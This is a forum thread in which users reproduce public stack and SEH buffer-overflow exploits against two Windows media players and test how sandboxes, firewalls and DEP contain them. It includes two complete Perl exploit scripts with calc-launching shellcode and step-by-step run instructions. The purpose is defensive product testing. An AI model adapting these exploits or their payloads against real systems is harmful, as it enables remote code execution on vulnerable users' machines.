Buffer overflow exploit writing tutorial

Have a read here:
http://www.corelan.be:8800/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/

To cut a long story short, I am trying to create a buffer overflow exploit so that I can test various security applications (specifically Sandboxie) out and see if the exploit is contained successfully. Essentially this is how I tried to reproduce it:
1. Download and install ActivePerl (you need this to run the script): http://www.activestate.com/activeperl/downloads
2. Download and install Easy RM to MP3 Converter (this is the program that is exploited): http://www.rm-to-mp3.net/download.html
3. Create a new Notepad text document
4. Copy and paste the following script (taken from the above site) into the text document:

Code:

#
# Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy_Hacker
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
# Greetings to Saumil and SK :-)
#
# tested on Windows XP SP3 (En)
#
#
#
my $file= "exploitrmtomp3.m3u";

my $junk= "A" x 26094;
my $eip = pack('V',0x01ccf23a);  #jmp esp from MSRMCcodec02.dll

my $shellcode = "\x90" x 25;

# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode . "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

5. Save the text document and change the file extension from ".txt" to ".pl"
6. Double click this file (with the extension ".pl")
7. A file named "exploitrmtomp3.m3u" should be created
8. Open Easy RM to MP3 Converter (the program you downloaded earlier and which we are trying to exploit)
9. Load "exploitrmtomp3.m3u" with Easy RM to MP3 Converter

At this point, all I see is the program crashing. calc.exe should also be called to run (this is an example of the "payload" executing). Unfortunately, this doesn't happen and I simply don't understand enough to work out why. Any ideas?

What happens if you try it with disabled DEP?

Ruhe wrote:What happens if you try it with disabled DEP?

DEP isn't enabled for all programs and services in the VM I tested it on. So that shouldn't be a factor. But to be sure, I'll try testing it with DEP completely disabled.

I'll try it as well now...

/EDIT: Had no success too. The app crashes but nothing more happens.

Used versions
- Easy RM to MP3 Converter 2.7.3.700
- ActivePerl: 5.8, 5.10, 5.12
- Windows XP Prof. SP3


There are different variants of the script in the WWW, but none of them worked for me.

Yes I think we need someone who knows how to modify the code in order for the exploit to be successful.

It would be easier to look for another program + exploit.

www . milw0rm.com/exploits/

Thanks for the site, I'll take a look some time.

However, I suspect the original exploit in this thread does still exist but that it's not written quite correctly.

I've tried 4 or 5 exploits for Easy RM to MP3 - all should start 'calc' - none of them worked. In all cases the app just crashed.

Ruhe wrote:I've tried 4 or 5 exploits for Easy RM to MP3 - all should start 'calc' - none of them worked. In all cases the app just crashed.

Any ideas on how to reproduce any of the exploits in the site you gave above?

www . milw0rm.com/search.php -> search for "overflow" and/or "buffer" and find an exploit coded in Perl.

This one works:

Download and install http://www.pirateradio.com/downloads/destinymp3.exe

Exploit:

Code:

#!/usr/bin/perl
#[+] Bug : Destiny Media Player 1.61 (.pls) Universal Buffer overflow (SEH)
#[+] Author : ThE g0bL!N
#[+] Greetz : ma 3labaliche :D
#[+] Use : open the pls file directly :)
#[+] Note: His0k4 Merci jamais Raditni
##########################################################
 
# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode =
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x38".
"\x78\x73\x8a\x83\xeb\xfc\xe2\xf4\xc4\x90\x37\x8a\x38\x78\xf8\xcf".
"\x04\xf3\x0f\x8f\x40\x79\x9c\x01\x77\x60\xf8\xd5\x18\x79\x98\xc3".
"\xb3\x4c\xf8\x8b\xd6\x49\xb3\x13\x94\xfc\xb3\xfe\x3f\xb9\xb9\x87".
"\x39\xba\x98\x7e\x03\x2c\x57\x8e\x4d\x9d\xf8\xd5\x1c\x79\x98\xec".
"\xb3\x74\x38\x01\x67\x64\x72\x61\xb3\x64\xf8\x8b\xd3\xf1\x2f\xae".
"\x3c\xbb\x42\x4a\x5c\xf3\x33\xba\xbd\xb8\x0b\x86\xb3\x38\x7f\x01".
"\x48\x64\xde\x01\x50\x70\x98\x83\xb3\xf8\xc3\x8a\x38\x78\xf8\xe2".
"\x04\x27\x42\x7c\x58\x2e\xfa\x72\xbb\xb8\x08\xda\x50\x88\xf9\x8e".
"\x67\x10\xeb\x74\xb2\x76\x24\x75\xdf\x1b\x12\xe6\x5b\x78\x73\x8a";

my $junk="\x41" x 45224;
my $next_seh="\xEB\x06\x90\x90"; # short jump
my $seh="\xA6\x7B\x41\x00"; # pop pop ret->Destiny.exe

open(myfile,'>>exploit.pls');
print myfile $top.$junk.$next_seh.$seh.$shellcode;

# milw0rm.com [2009-08-01]

Double click the created exploit.pls. The player will open up and crashes after some seconds - calc will be opened.

Thanks Ruhe! I'm in the process of testing this as I type - I needed to create another XP VM that virtualises my sound card also (I disabled this in my original VM since I generally don't want sound to be played in it).

Have you tried testing this exploit against various security applications like DefenseWall and Sandboxie? How dow Microsoft's Hardware DEP hold up? I'll report my own findings later.

I did not run any tests so far, will do some tomorrow I think.

Sandboxie with enabled 'Start/Run Access' should block this kind of exploits. The app will crash but the new process - calc in this case - should not be allowed to start.

Ruhe wrote:I did not run any tests so far, will do some tomorrow I think.

Sandboxie with enabled 'Start/Run Access' should block this kind of exploits. The app will crash but the new process - calc in this case - should not be allowed to start.

I'm not going to test whether start/run access will block this specific exploit (which it should), but whether calc.exe opens sandboxed and therefore everything is contained.

Here are the results so far:
1. Hardware DEP - appears to be bypassed, although I'm fairly sure VM's don't virtualise Hardware DEP - someone would need to test it on their REAL system to check it out properly. But given the information in 9. below, we can assume a FAIL for Hardware DEP.
2. Sandboxie 3.45.18 appears to contain the exploit and opens calc.exe sandboxed. When start/run restrictions are used, calc.exe is unable to run - conditional PASS (exploit still runs)
3. DefenseWall 3.02 runs everything untrusted - conditional PASS (exploit still runs)
4. Kees1958 from Wilders (suspiciously coincidentally) added "Wehntrust (Buffer Overflow protection)" to his security setup today ( http://www.wilderssecurity.com/showpost.php?p=1694930&postcount=8913 ) - exploit runs successfully - FAILS miserably (sorry couldn't help it haha). Also see here: https://ssj100.forumotion.com/security-f7/buffer-overflow-bo-tests-t47.htm#592
EDIT: it seems I was testing an older version of Wehntrust (one that was released in 2006) when there's actually one that was released in 2008. This appears to block the exploit, but it still fails all 3 of Comodo's BO tests.
5. Comodo Firewall 4.1.150349.920 - Proactive security, sandbox disabled - blocks the exploit from even running and specifically identifies it as a Buffer Overflow attack. If default configuration is used, the below pop-up doesn't appear, but Comodo's Defense+ log shows that shellcode injection has been blocked - PASS

6. Online Armor Premium Personal Firewall v4.0.0.44 - in default configuration - miserable FAIL. In order to block calc.exe from running you have to completely untrust your media player (in this case Destiny Media Player...this would be highly inconvenient as every time you ran your media player, Online Armor would throw up a pop-up) or your have to specifically configure Destiny.exe to be blocked from starting applications. If instead you configure it to ask, it outright FAILS. I suspect this last aspect is a bug and a partial bypass of Online Armor...and if there is anyone out there who cares, it might be worth reporting to the Online Armor team. In any case, the best Online Armor can do is a conditional PASS, as the exploit still runs.
7. Malware Defender 2.7.1: throws up about 11 pop-ups, but at the end of the day, it doesn't really block the actual exploit we're testing from running. However, it can deny calc.exe from running - conditional PASS
8. DefencePlus 2.20: blocks the exploit from running. I wonder why Ilya doesn't combine DefenseWall with DefencePlus, although it doesn't appear to be very stable : https://ssj100.forumotion.com/security-f7/buffer-overflow-bo-tests-t47.htm#592 - PASS
9. Comodo Memory Firewall 2.0.4.20: blocks the exploit from running and interestingly is able to identify that it's a ret2libc attack type. Now this is bad news for Hardware DEP, as we identified that Hardware DEP fails against ret2libc attacks: https://ssj100.forumotion.com/security-f7/buffer-overflow-bo-tests-t47.htm#216. - PASS



By the way, check out Tzuk's reply on this matter here:
http://www.sandboxie.com/phpbb/viewtopic.php?p=53604#53604

Far less frequently, there are buffer overflow exploits in kernel mode code, that is in Windows core, or maybe some third party driver. This is very different from simple buffer overflow exploits in that no security software can really do anything about this.

I suppose in this case, we'd have to rely on keeping software up to date, Hardware DEP, and dare I say 64-bit PatchGuard haha. Also my theory is that running as a limited user may block these attacks easily.

Thanks for sharing, especially Sandboxie and DefenseWall - both are the only ones I would use.

In general it is advisable to enable 'Start/Run Access' in Sandboxie, it will stop many exploits from doing their job.

Indeed, Sandboxie is incredibly powerful with this (and other) feature(s). However, a system wide anti-executable (blocking foreign executables) would also do the job at mitigating a buffer overflow exploit. Regardless, I happily use both (Sandboxie + SRP).

By the way Ruhe, I don't know about you, but that exploit you singled out is the only one coded in "perl" that seems to work for me.

Hehe, than we had luck. It was the first and only one I've tested after running a search on milw0rm.com.

Now we have an exploit for testing, if anyone finds out how to detect them or their doing, contact me. If possible I would implement what ever in my Sandbox Observer.

ssj100 wrote: However, a system wide anti-executable (blocking foreign executables) would also do the job at mitigating a buffer overflow exploit. Regardless, I happily use both (Sandboxie + SRP).

How about an LUA+AppLocker in Win7x64? I'll bet it doesn't stand a chance

wat0114 wrote:

ssj100 wrote: However, a system wide anti-executable (blocking foreign executables) would also do the job at mitigating a buffer overflow exploit. Regardless, I happily use both (Sandboxie + SRP).

How about an LUA+AppLocker in Win7x64? I'll bet it doesn't stand a chance

Not sure about that wat0114. I'm fairly certain SUA + AppLocker won't stop a buffer overflow exploit from running. It may be able to mitigate the attack, usually by denying execution of the payload executable (I think all instances of in-the-wild buffer overflow attacks have created a payload executable). However, as Tzuk mentioned, if the exploit involves kernel mode code, then there isn't much that can be done (except maybe hoping Microsoft release patches fast!). I think using my Sandboxie setup/approach combined with LUA/SUA + SRP/AppLocker could effectively block buffer overflow attacks.

The reason why I think Sandboxie is very important here is because it is less likely for there to exist a vulnerability in both Sandboxie files as well as Microsoft Windows files.

Furthermore, in my security setup/approach post, I described the following:

When in even greater doubt and if your paranoia levels have escalated to an extreme level, also enable your system virtualiser (I use Shadow Defender) before downloading and recovering files on to your REAL system. This would additively prevent any harm from exploits like these: http://blog.didierstevens.com/2009/03/04/quickpost-jbig2decode-trigger-trio/

Shadow Defender (in combination with everything else I described) would also most likely mitigate a buffer overflow attack to the extent that it may as well have been blocked from running.

Well, I'm into my second nice mp3 and no crashes yet, nor any sign of calc.exe? Am I doing something wrong? Anyway, I had to install the player under my admin account, then create an Applocker rule to allow it to run, but when launching the exploit.pls it simply opens the Destiny player and my music folder that I selected earlier. I choose a song and play it completely through with no sign of crashing or calc.exe. This is a non-factor imo because it assumes someone installs software from questionable sources. Sorry, I just can't buy into any perceived dangers this exploit might possess. BTW, I tested this on my real Win7 system. How's that for confidence

wat0114 wrote:Well, I'm into my second nice mp3 and no crashes yet, nor any sign of calc.exe? Am I doing something wrong? Anyway, I had to install the player under my admin account, then create an Applocker rule to allow it to run, but when launching the exploit.pls it simply opens the Destiny player and my music folder that I selected earlier. I choose a song and play it completely through with no sign of crashing or calc.exe. This is a non-factor imo because it assumes someone installs software from questionable sources. Sorry, I just can't buy into any perceived dangers this exploit might possess. BTW, I tested this on my real Win7 system. How's that for confidence

It probably doesn't work on Windows 7 mate (the exploit was only tested on Windows XP). Also I'm not sure why you're needing to play a song to reproduce the exploit - you don't.

And this isn't a POC. This is a REAL exploit with REAL publically released code. It's a harmless one (presumably), in that it only remotely executes calc.exe. However, malware writers could easily use it to download and execute a trojan etc, or perhaps even use it to destroy your disk (like a killdisk). I think this would particularly be true for a kernel mode code exploit.

Also the point is not that someone installs software from questionable sources. The point is that all software can be potentially exploited. Going through the list of buffer overflow attacks in my readings, the following popular programs have had exploit code released publically in the past (and this is just off the top of my head):
-Flash player
-Adobe Reader
-Avast Antivirus
-Winamp
-Media Player Classic

So in my opinion, Buffer overflow attacks are REAL and definitely out there. If we as the public can so easily get hold of REAL exploited code, imagine what professional malware writers can do! Oh and I'd only say testing it on your REAL system is a sign of confidence if you didn't have an image back up (or similar) haha. Seriously though, I'd advise everyone out there NOT to test these things on your REAL system unless you can readily load up a (clean) image. You just never know what sneaky backdoor might be opened when you run these things on your REAL system.

ssj100 wrote:
It probably doesn't work on Windows 7 mate (the exploit was only tested on Windows XP).

Okay, I see.

Also I'm not sure why you're needing to play a song to reproduce the exploit - you don't.

Because it opened my mp3 folder, so I figured: "why not enjoy some pleasant tunes while waiting"

And this isn't a POC. This is a REAL exploit with REAL publically released code. It's a harmless one (presumably), in that it only remotely executes calc.exe. However, malware writers could easily use it to download and execute a trojan etc, or perhaps even use it to destroy your disk (like a killdisk). I think this would particularly be true for a kernel mode code exploit.

Still, nothing to get bent out of shape for. Common sense and a sound security approach will render these a non-issue - imo, of course.

Also the point is not that someone installs software from questionable sources.

Avoiding this tom foolery will help.

The point is that all software can be potentially exploited.

I've yet to - and I mean never, ever - download and install anything obtained from a trusted source that was exploited.

Going through the list of buffer overflow attacks in my readings, the following popular programs have had exploit code released publically in the past (and this is just off the top of my head):
-Flash player
-Adobe Reader
-Avast Antivirus
-Winamp
-Media Player Classic

Nice list. Why haven't I nor anyone else in this household ever been burnt by one of these exploits? It's no fluke why it hasn't happened.

So in my opinion, Buffer overflow attacks are REAL and definitely out there.

No doubt they are.

Oh and I'd only say testing it on your REAL system is a sign of confidence if you didn't have an image back up (or similar) haha.

Of course, and the confidence that I know they won't let me down. That's how painfully thorough I am

Seriously though, I'd advise everyone out there NOT to test these things on your REAL system unless you can readily load up a (clean) image. You just never know what sneaky backdoor might be opened when you run these things on your REAL system.

Of course.